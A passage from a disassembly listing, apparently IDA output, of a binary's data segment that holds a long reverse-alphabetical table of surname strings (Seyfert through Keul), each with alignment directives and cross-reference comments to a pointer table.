aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E858o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E854o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E850o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E84Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E848o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E844o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E840o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E83Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E838o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E834o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E830o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E82Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E828o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E824o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E820o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E81Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E818o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E814o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E810o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E80Co
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E808o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E804o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E800o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7FCo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7F8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7F4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7F0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7ECo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7E8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7E4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7E0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7DCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7D8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7D4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7CCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7C8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7C4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7C0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7BCo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7B8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7B4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E7ACo
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E7A8o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E7A4o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E7A0o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E79Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E798o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E794o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E790o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E78Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E788o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E784o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E780o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E77Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E778o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E774o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E770o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E76Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E768o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E764o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E760o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E75Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E758o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E754o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E750o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E74Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E748o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E744o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E740o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E73Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E738o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E734o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E730o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E72Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E728o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E724o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E720o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E71Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E718o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E714o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E710o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E70Co
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E708o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E704o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E700o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6FCo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6F8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6F4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6F0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6ECo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6E8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6E4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6E0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6DCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6D8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6D4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6D0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6CCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6C8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6C4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6C0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6BCo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6B8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6B4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6B0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E6ACo
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E6A4o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E6A0o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E69Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E698o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E694o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E690o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E68Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E688o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E684o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E680o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E67Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E678o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E674o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E670o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E66Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E668o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E664o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E660o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E65Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E658o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E654o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E650o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E64Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E648o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E644o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E640o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E63Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E638o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E634o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E630o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E62Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E628o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E624o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E620o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E61Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E618o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E614o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E610o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E60Co
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E608o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E604o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E600o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5FCo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5F8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5F4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5F0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5ECo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5E8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5E4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5E0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5DCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5D8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5D4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5D0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5CCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5C8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5C4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5C0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5B8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5B4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5B0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E5ACo
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E5A8o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E5A4o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E5A0o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E59Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E598o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E594o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E590o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E58Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E588o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E584o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E580o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E57Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E578o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E574o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E570o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E56Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E568o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E564o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E560o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E55Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E558o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E554o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E550o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E54Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E548o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E544o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E540o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E53Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E538o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E534o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E530o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E52Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E528o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E524o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E520o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E51Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E518o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E514o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E510o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E50Co
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E508o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E504o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E500o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4FCo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4F8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4F4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4F0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4E8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4E0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4DCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4D8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4D4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4D0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4CCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4C8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4C4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4C0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4BCo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4B8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4B4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4B0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E4ACo
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E4A8o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E4A4o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E4A0o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E49Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E498o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E494o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E490o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E488o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E484o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E480o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E47Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E478o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E474o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E470o
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E46Co
aMay		db 'May',0              ; DATA XREF: ___:0042E468o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E464o
		align 10h
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E460o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E45Co
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E458o
		align 10h
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E454o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E450o
		align 10h
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E44Co
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E448o
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E444o
		align 10h
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E440o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E43Co
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E438o
		align 10h
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E434o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E430o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E42Co
		align 10h
aMarch		db 'March',0            ; DATA XREF: ___:0042E428o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E424o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E420o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E41Co
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E418o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E414o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E410o
		align 10h
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E40Co
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E408o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E404o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E400o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E3FCo
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E3F8o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E3F4o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E3F0o
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E3ECo
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E3E8o
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E3E4o
		align 10h
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E3E0o
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E3DCo
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E3D8o
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3D4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3D0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3CCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3C8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3C4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3C0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3BCo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3B8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3B4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3B0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E3ACo
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E3A8o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E3A4o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E3A0o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E39Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E398o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E394o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E390o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E38Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E388o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E384o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E380o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E37Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E378o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E374o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E370o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E36Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E368o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E364o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E360o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E35Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E358o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E354o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E350o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E34Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E348o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E344o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E340o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E33Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E338o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E334o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E330o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E32Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E328o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E324o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E320o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E31Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E318o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E314o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E310o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E30Co
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E308o
					; ___:004329A4o
		align 4
dword_430058	dd 6C6C614Ch		; DATA XREF: ___:0042E304o
aEmant		db 'emant',0            ; DATA XREF: ___:off_432840o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E300o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2FCo
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2F8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2F4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2F0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2ECo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2E8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2E4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2E0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2DCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2D4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2D0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2CCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2C8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2C4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2C0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2BCo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2B8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2B4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2B0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E2ACo
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E2A8o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E2A4o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E2A0o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E29Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E298o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E294o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E290o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E28Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E288o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E284o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E280o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E27Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E278o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E274o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E270o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E26Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E268o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E264o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E260o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E25Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E258o
		align 4
